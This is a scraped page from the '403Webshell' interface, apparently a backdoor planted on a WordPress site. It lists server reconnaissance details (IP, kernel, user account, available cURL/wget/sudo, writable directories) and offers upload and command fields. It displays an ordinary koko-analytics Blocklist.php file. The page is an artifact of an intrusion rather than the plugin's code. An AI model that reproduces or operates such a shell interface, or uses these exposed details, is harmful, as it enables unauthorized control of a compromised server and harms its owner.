403Webshell
Server IP : 35.236.43.222  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux order-form-vm-001 5.10.0-37-cloud-amd64 #1 SMP Debian 5.10.247-1 (2025-12-11) x86_64
User : deploy ( 1002)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/mastersystem.app/public/wp-content/plugins/koko-analytics/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/mastersystem.app/public/wp-content/plugins/koko-analytics/src/Blocklist.php
<?php

namespace KokoAnalytics;

use Exception;

class Blocklist
{
    public function getFilename(): string
    {
        return  KOKO_ANALYTICS_PLUGIN_DIR . '/data/referrer-blocklist';
    }

    public function read(): array
    {
        $filename = $this->getFilename();
        if (!is_file($filename)) {
            return [];
        }

        return \file($filename, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES) ?: [];
    }

    public function contains(string $url): bool
    {
        if ($url === '') {
            return false;
        }

        static $list;
        if ($list === null) {
            $list = $this->read();
        }

        foreach ($list as $domain) {
            $domain = trim($domain);

            if ($domain === '') {
                continue;
            }

            if (str_contains($url, $domain)) {
                return true;
            }
        }

        return false;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit